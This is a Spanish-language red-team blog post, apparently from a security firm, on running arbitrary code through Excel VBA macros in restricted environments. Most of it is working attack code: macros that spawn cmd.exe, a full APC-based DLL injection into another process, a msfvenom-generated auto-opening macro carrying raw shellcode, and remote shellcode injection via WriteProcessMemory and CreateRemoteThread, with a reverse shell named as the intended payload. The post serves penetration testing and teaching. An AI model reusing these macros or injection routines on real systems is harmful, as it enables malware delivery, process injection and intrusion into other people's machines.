cabecera blog BlackArrow

Diferentes formas de ejecutar código con Macros de Excel

Introducción

En ocasiones durante los test de intrusión, y las operaciones de un servicio de Red Team, se logra acceso a entornos restringidos y controlados donde sólo se puede ejecutar un determinado set de aplicaciones (por ejemplo, un entorno Citrix). En este post abordaremos diferentes técnicas (todas ellas bien conocidas  desde hace más de una década, pero nunca está de más recordarlas) para ejecutar código arbitrario utilizando las macros de Excel.

APIs de Windows

Probablemente la forma más simple de conseguir ejecutar comandos desde las macros de excel, y la que todos en alguna ocasión hemos utilizado, es llamar a la función “shell” de VBA para que ejecute un cmd.exe y obtener así una consola sobre la que trabajar y avanzar con la intrusión.

Sub test()
    Shell Environ("ComSpec") 'Utilizamos la variable de entorno "ComSpec" que contiene la ruta del cmd.exe
End Sub

Ésta es probablemente la forma más mundana y poco creativa de continuar con la intrusión.

Las macros de Excel son programadas en VBA (Visual Basic for Aplications), lo que nos permite poder interaccionar con el sistema a más bajo nivel del que pudiera parecer en primera instancia. Desde VBA podemos utilizar las funciones exportadas por las DLLs que hay en el sistema, ampliando de esta forma nuestras capacidades. Un ejemplo puede ser invocar a la función “WinExec“de la librería “Kernel32.dll”:

Private Declare PtrSafe Function WinExec Lib "kernel32.dll" (ByVal lpCmdLine As String, ByVal nCmdShow As Integer) As Integer

Sub test()
    WinExec Environ("COMSPEC"), 1
End Sub

A la hora de trabajar con las macros de excel es importante tener en cuenta la retrocompatibilidad y los escenarios donde el excel esté compilado para 32 y 64 bits. Por ejemplo, a la hora de trabajar con punteros se utiliza el tipo “LongPtr” en vez de “Long”, ya que en versiones de 64 bits este tipo de dato es de 8 bytes mientras que en 32 bits es de 4 bytes. De igual forma, el atributo PtrSafe permite utilizar la instrucción Declare en sistemas de 32 o 64 bits con VBA 7, sin embargo no está presente en versiones anteriores, por lo que en las macros de excel se debe de recurrir a construcciones #If VBA7 Then … (declaracion con PtrSafe) #Else … (declaración normal) #End if.

Un listado completo de definiciones de funciones y estructuras de la API de Windows con PtrSafe puede ser encontrado aquí.

Inyección de código a través de macros de excel

Como vimos en el epígrafe anterior, desde VBA podemos utilizar funciones a más bajo nivel con las que trabajar. Gracias a esto es posible inyectar código arbitrario en el propio proceso del Excel o en otro, siendo ésta la táctica más explorada por el malware. En este apartado mencionaremos dos enfoques como ejemplo (quedando a discreción del lector implementar otros tipos de inyecciones – https://github.com/secrary/InjectProc,  https://github.com/BreakingMalwareResearch/atom-bombing- como ejercicio): crear en disco una DLL para posteriormente inyectarla en otro proceso e inyectar directamente una shellcode.

1. Inyectar una DLL en otro proceso

Para este fin nos valdremos de una APC que ejecute una llamada a LoadLibrary con la ruta de nuestra DLL como parámetro, y de esta forma ejecute el código que hayamos definido en el DLLMain al ser cargadas por el thread del proceso en el que nos inyectemos. Un buen ejemplo de cómo utilizar esta técnica viene descrito en un post de Microsoft, a partir del cual haremos una transcripción del código de ejemplo a una macro de excel.

La idea general de esta técnica es enumerar todos los procesos de la máquina hasta encontrar aquel sobre el que queremos inyectarnos. Una vez localizamos este proceso, listaremos todos sus threads, y sobre cada uno añadiremos una APC que será encolada y ejecutada en algún momento.

    'Declaramos las funciones que utilizaremos, junto con las constantes
    #If vba7 Then
    Private Declare PtrSafe Function CreateToolhelp32Snapshot Lib "kernel32" (ByVal lFlags As LongPtr, ByVal lProcessID As LongPtr) As LongPtr
    Private Declare PtrSafe Function Process32First Lib "kernel32" (ByVal hSnapshot As LongPtr, sPE32 As PROCESSENTRY32) As Long
    Private Declare PtrSafe Function Process32Next Lib "kernel32" (ByVal hSnapshot As LongPtr, sPE32 As PROCESSENTRY32) As Long
    Private Declare PtrSafe Function Thread32First Lib "kernel32" (ByVal hObject As LongPtr, p As THREADENTRY32) As Boolean
    Private Declare PtrSafe Function Thread32Next Lib "kernel32" (ByVal hObject As LongPtr, p As THREADENTRY32) As Boolean
    Private Declare PtrSafe Function OpenProcess Lib "kernel32" (ByVal dwDesiredAcess As LongPtr, ByVal bInheritHandle As Long, ByVal dwProcessId As LongPtr) As Long
    Private Declare PtrSafe Function VirtualAllocEx Lib "kernel32" (ByVal hProcess As Long, ByVal lpAddr As Long, ByVal lSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
    Private Declare PtrSafe Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As LongPtr, lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As LongPtr, lpNumberOfBytesWritten As LongPtr) As Long
    Private Declare PtrSafe Function OpenThread Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As LongPtr
    Private Declare PtrSafe Function QueueUserAPC Lib "kernel32" (ByVal pfnAPC As LongPtr, ByVal hThread As LongPtr, ByVal dwData As LongPtr) As LongPtr
    Private Declare PtrSafe Function GetProcAddress Lib "kernel32" (ByVal hModule As LongPtr, ByVal lpProcName As String) As LongPtr
    Private Declare PtrSafe Function GetModuleHandle Lib "kernel32" Alias "GetModuleHandleA" (ByVal lpModuleName As String) As LongPtr
    #Else
    Private Declare Function CreateToolhelp32Snapshot Lib "kernel32" (ByVal lFlags As Long, ByVal lProcessID As Long) As Long
    Private Declare Function Process32First Lib "kernel32" (ByVal hSnapshot As Long, sPE32 As PROCESSENTRY32) As Long
    Private Declare Function Process32Next Lib "kernel32" (ByVal hSnapshot As Long, sPE32 As PROCESSENTRY32) As Long
    Private Declare Function Thread32First Lib "kernel32" (ByVal hObject As Long, p As THREADENTRY32) As Boolean
    Private Declare Function Thread32Next Lib "kernel32" (ByVal hObject As Long, p As THREADENTRY32) As Boolean
    Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAcess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
    Private Declare Function VirtualAllocEx Lib "kernel32" (ByVal hProcess As Long, ByVal lpAddress As Long, ByVal dwSize As Long, ByVal fAllocType As Long, ByVal flProtect As Long) As Long
    Private Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
    Private Declare Function OpenThread Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
    Private Declare Function QueueUserAPC Lib "kernel32" (ByVal pfnAPC As Long, ByVal hThread As Long, ByVal dwData As Long) As Long
    Private Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
    Private Declare Function GetModuleHandle Lib "kernel32" Alias "GetModuleHandleA" (ByVal lpModuleName As String) As Long
    #End if


'Enumerate PID & Threads
Private Const TH32CS_SNAPPROCESS = &H2
Private Const TH32CS_SNAPTHREAD = &H4
Private Const INVALID_HANDLE_VALUE = -1&

'OpenProcess
Private Const PROCESS_VM_WRITE = &H20
Private Const PROCESS_VM_OPERATION = &H8

'VirtualAllocEx
Private Const MEM_COMMIT = &H1000
Private Const MEM_RESERVE = &H2000
Private Const PAGE_READWRITE = &H4

'OpenThread
Private Const THREAD_SET_CONTEXT = &H10

Para enumerar los procesos y threads utilizaremos las funciones Process32First, Process32Next, Thread32First y Thread32Next , las cuales utilizan las estructuras PROCESSENTRY32 y THREADENTRY32:

#If Win64 Then
Private Type PROCESSENTRY32
    dwSize As Long
    cntUsage As Long
    th32ProcessID As Long
    th32DefaultHeapID As Long
    th32DefaultHeapIDB As Long
    th32ModuleID As Long
    cntThreads As Long
    th32ParentProcessID As Long
    pcPriClassBase As Long
    pcPriClassBaseB As Long
    dwFlags As Long
    szExeFile As String * 260
End Type
#Else
Private Type PROCESSENTRY32
    dwSize As Long
    cntUsage As Long
    th32ProcessID As Long
    th32DefaultHeapID As Long
    th32ModuleID As Long
    cntThreads As Long
    th32ParentProcessID As Long
    pcPriClassBase As Long
    dwFlags As Long
    szExeFile As String * 260
End Type
#End If
Private Type THREADENTRY32
    dwSize As Long
    cntUsage As Long
    th32ThreadID As Long
    th32OwnerProcessID As Long
    tpBasePri As Long
    tpDeltaPri As Long
    dwFlags As Long
End Type

Inicialmente deberemos de tomar un snapshot de los procesos que se están ejecutando en la máquina, y los recorreremos uno a uno hasta encontrar uno cuyo nombre encaje con el que estamos buscando:

Target = "sublime_text.exe" 'Proceso objetivo
  hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS Or TH32CS_SNAPTHREAD, 0) 'Tomamos un snapshot
  
  If hSnapshot <> INVALID_HANDLE_VALUE Then 'Comprobamos que se ha tomado correctamente
      #If win64 Then
      sPE32.dwSize = LenB(sPE32) 'Debe de usarse LenB en x64
      #Else
      sPE32.dwSize = Len(sPE32)
      #End If
      lRet = Process32First(hSnapshot, sPE32) 'Tomamos la información del primer proceso encontrado en el snapshot
      Do While lRet ' Iniciamos un bucle para recorrer todos los procesos
          iPositionNull = InStr(1, sPE32.szExeFile, Chr(0))
          If iPositionNull > 0 Then
              strProcess = Left(sPE32.szExeFile, iPositionNull - 1) 'Cogemos el nombre del proceso
          Else
              strProcess = ""
          End If
          If strProcess = Target Then '¿Es nuestro proceso objetivo?
          	pid = sPE32.th32ProcessID 'PID del proceso
              ...
              ...
              ...

          End If
          lRet = Process32Next(hSnapshot, sPE32) 'Siguiente proceso
      Loop

Lo siguiente será listar todos los threads asociados con ese proceso:

    #If VBA7 Then
    sTE32.dwSize = LenB(sTE32)
    #Else
    sTE32.dwSize = Len(sTE32)
    #End If
    hThreadshot = Thread32First(hSnapshot, sTE32)
    Do While hThreadshot
         If sTE32.th32OwnerProcessID = pid Then 'Si el thread pertenece al PID que hemos sacado antes lo metemos con el resto
            If thr = "" Then
                thr = sTE32.th32ThreadID
            Else
                thr = thr & "|" & sTE32.th32ThreadID
            End If
         End If
         hThreadshot = Thread32Next(hSnapshot, sTE32)
    Loop
    ...
    ...
threads = Split(thr, "|") 'Generamos un array con todos los identificadores de los threads

A continuación abriremos un handler al proceso (PID seleccionado), donde otorgaremos los permisos necesarios para poder asignar memoria y escribirla:

MsgBox "Threads enumerated!"
hProcess = OpenProcess(PROCESS_VM_WRITE Or PROCESS_VM_OPERATION, False, pid)
If hProcess = 0 Then
    MsgBox "OpenProcess Failed!"
Else
MsgBox "OpenProcess Successful!"

A través de VirtualAllocEx asignamos memoria con permisos de lectura y escritura, y escribimos en ella la ruta de nuestra DLL utilizando WriteProcessMemory. De esta forma podremos posteriormente utilizarlo como argumento para el LoadLibrary.

VirtRet = VirtualAllocEx(hProcess, 0, 4096, MEM_COMMIT Or MEM_RESERVE, PAGE_READWRITE)
            If VirtRet <> 0 Then
                ret = WriteProcessMemory(hProcess, ByVal VirtRet, ByVal dllpath, Len(dllpath), vbNull)
                If ret <> 0 Then
                    MsgBox "Memory Wrote!"

Por último ya sólo queda recorrer cada hilo de los que habíamos listado anteriormente, crear un handler y añadirle una APC que llame a LoadLibrary() utilizando como parámetro la ruta de nuestra DLL.

For Each thread In threads
    hThread = OpenThread(THREAD_SET_CONTEXT, False, thread) 'Abrimos un handler
    If hThread = 0 Then
        MsgBox "OpenThread Failed!"
    Else
        hLib = GetModuleHandle("kernel32")
        retProc = GetProcAddress(hLib, "LoadLibraryA") 'Buscamos la dirección de loadlibrary
        If retProc <> 0 Then
           RetAPC = QueueUserAPC(retProc, hThread, VirtRet) 'Encolamos el APC pasándole como parámetros la dirección de loadlibrary y la dirección que contiene la ruta de nuestra DLL
        Else
            MsgBox "QueueUserAPC Failed!"
        End If
        
    End If
Next thread

Cuando uno de los hilos cargue nuestra DLL, ejecutará automáticamente lo que tenga su DLLMain, permitiéndonos de esa forma ejecutar código en ese proceso (por ejemplo, una reverse shell). La estructura de la DLL sería similar a:

#include 
#include 

BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call,LPVOID lpReserved )
{
  switch (ul_reason_for_call)
  {
  case DLL_PROCESS_ATTACH:
    //Aquí nuestro código que se ejecutará al cargarse la DLL
    break;
  case DLL_THREAD_ATTACH:
  case DLL_THREAD_DETACH:
  case DLL_PROCESS_DETACH:
    break;
  }
  return TRUE;
}

2. Inyectar una shellcode en otro proceso

Otra opción puede ser inyectar directamente una shellcode nuestra en otro proceso (o en el propio excel). Ésta técnica es utilizada por ejemplo por metasploit cuando genera una macro de excel:

root@Frederik:~|⇒  msfvenom -a x64 -p windows/x64/exec CMD=cmd -f vba
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 271 bytes
Final size of vba file: 2417 bytes
#If Vba7 Then
  Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Eswra As Long, ByVal Nssuuaag As Long, ByVal Fozn As LongPtr, Ovw As Long, ByVal Eszngdvz As Long, Yqkekcr As Long) As LongPtr
  Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Hhhic As Long, ByVal Ohjgni As Long, ByVal Fyie As Long, ByVal Dsloxc As Long) As LongPtr
  Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Htcuumn As LongPtr, ByRef Ogfptgzd As Any, ByVal Bqo As Long) As LongPtr
#Else
  Private Declare Function CreateThread Lib "kernel32" (ByVal Eswra As Long, ByVal Nssuuaag As Long, ByVal Fozn As Long, Ovw As Long, ByVal Eszngdvz As Long, Yqkekcr As Long) As Long
  Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Hhhic As Long, ByVal Ohjgni As Long, ByVal Fyie As Long, ByVal Dsloxc As Long) As Long
  Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Htcuumn As Long, ByRef Ogfptgzd As Any, ByVal Bqo As Long) As Long
#EndIf

Sub Auto_Open()
  Dim Wjhz As Long, Pkbwhv As Variant, Smgoz As Long
#If Vba7 Then
  Dim  Bogtvolby As LongPtr, Bzrggsmin As LongPtr
#Else
  Dim  Bogtvolby As Long, Bzrggsmin As Long
#EndIf
  Pkbwhv = Array(72,131,228,240,232,192,0,0,0,65,81,65,80,82,81,86,72,49,210,101,72,139,82,96,72,139,82,24,72,139,82,32,72,139,114,80,72,15,183,74,74,77,49,201,72,49,192,172,60,97,124,2,44,32,65,193,201,13,65,1,193,226,237,82,65,81,72,139,82,32,139,66,60,72,1,208,139,128,136,0, _
0,0,72,133,192,116,103,72,1,208,80,139,72,24,68,139,64,32,73,1,208,227,86,72,255,201,65,139,52,136,72,1,214,77,49,201,72,49,192,172,65,193,201,13,65,1,193,56,224,117,241,76,3,76,36,8,69,57,209,117,216,88,68,139,64,36,73,1,208,102,65,139,12,72,68,139,64,28,73,1, _
208,65,139,4,136,72,1,208,65,88,65,88,94,89,90,65,88,65,89,65,90,72,131,236,32,65,82,255,224,88,65,89,90,72,139,18,233,87,255,255,255,93,72,186,1,0,0,0,0,0,0,0,72,141,141,1,1,0,0,65,186,49,139,111,135,255,213,187,240,181,162,86,65,186,166,149,189,157,255,213, _
72,131,196,40,60,6,124,10,128,251,224,117,5,187,71,19,114,111,106,0,89,65,137,218,255,213,99,109,100,0)

  Bogtvolby = VirtualAlloc(0, UBound(Pkbwhv), &H1000, &H40)
  For Smgoz = LBound(Pkbwhv) To UBound(Pkbwhv)
    Wjhz = Pkbwhv(Smgoz)
    Bzrggsmin = RtlMoveMemory(Bogtvolby + Smgoz, Wjhz, 1)
  Next Smgoz
  Bzrggsmin = CreateThread(0, 0, Bogtvolby, 0, 0, 0)
End Sub
Sub AutoOpen()
  Auto_Open
End Sub
Sub Workbook_Open()
  Auto_Open
End Sub

Pese al intento pedestre de añadir un mínimo de ofuscación a través de utilizar nombres aleatorios, puede observarse claramente cómo lo que hace el código es llamar a VirtualAlloc para reservar memoria, escribir en ella la shellcode con RtlMoveMemory, y después ejecutarla utilizando CreateThread. Nuestro planteamiento será similar, solo que inyectaremos nuestra shellcode en otro proceso diferente.

El esquema inicial es idéntico al anterior: tomamos un snapshot de todos los procesos, recorremos todos comparando el nombre con el que buscamos.

hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS Or TH32CS_SNAPTHREAD, 0)
    If hSnapshot <> INVALID_HANDLE_VALUE Then
        #If Win64 Then
            sPE32.dwSize = LenB(sPE32)
        #Else
            sPE32.dwSize = Len(sPE32)
        #End If
        lRet = Process32First(hSnapshot, sPE32)
        Do While lRet
            iPositionNull = InStr(1, sPE32.szExeFile, Chr(0))
            If iPositionNull > 0 Then
                strProcess = Left(sPE32.szExeFile, iPositionNull - 1)
            Else
                strProcess = ""
            End If
            If strProcess = Target Then
                pid = sPE32.th32ProcessID
            End If
            lRet = Process32Next(hSnapshot, sPE32)
        Loop

Al igual que antes, abrimos un handler y asignamos memoria con permsisos de escritura y lectura:

hProcess = OpenProcess(PROCESS_VM_WRITE Or PROCESS_VM_OPERATION, False, pid)
If hProcess = 0 Then
    MsgBox "OpenProcess failed!"
Else
    MsgBox "Process opened!"
    VirtRet = VirtualAllocEx(hProcess, 0, 4096, MEM_COMMIT Or MEM_RESERVE, PAGE_READWRITE)
    MsgBox Hex(GetLastError())
    If VirtRet <> 0 Then
        MsgBox "Memory allocated at " & Hex(VirtRet)

Una vez que tenemos la memoria disponible, procedemos a escribir en ella nuestra shellcode y a cambiarle los permisos a esa región de memoria para que se pueda ejecutar:

arrayshell = Split("72,131,228...", ",") 'Shellcode
For Each char In arrayshell
    If shellcode = "" Then
        shellcode = Chr(char)
    Else
        shellcode = shellcode & Chr(char)
    End If
Next char
ret = WriteProcessMemory(hProcess, ByVal VirtRet, ByVal shellcode, LenB(shellcode), vbNull)
If ret <> 0 Then
    MsgBox "Memory Wrote!"
    ProcRet = VirtualProtectEx(hProcess, ByVal VirtRet, 4096, PAGE_EXECUTE_READ, PAGE_READWRITE)

En este punto tenemos la shellcode en memoria, con permisos de ejecución, dentro de otro proceso. Sólo resta disparar su ejecución utilizando CreateRemoteThread:

Dim thread As LongPtr
 thrRet = CreateRemoteThread(hProcess, ByVal 0, ByVal 0, ByVal VirtRet, ByVal 0, ByVal 0, thread)

Conclusión

Las macros de excel, más allá de su papel crucial en el malware, pueden ser aprovechadas para la ejecución de código en entornos restrictivos y con cierto nivel de bastionado. Si bien son técnicas utilizadas desde hace más de una década, nunca está de más volver a recordarlas.

Descubre nuestro trabajo y nuestros servicios de ciberseguridad en www.tarlogic.com/es/

En TarlogicTeo y en TarlogicMadrid.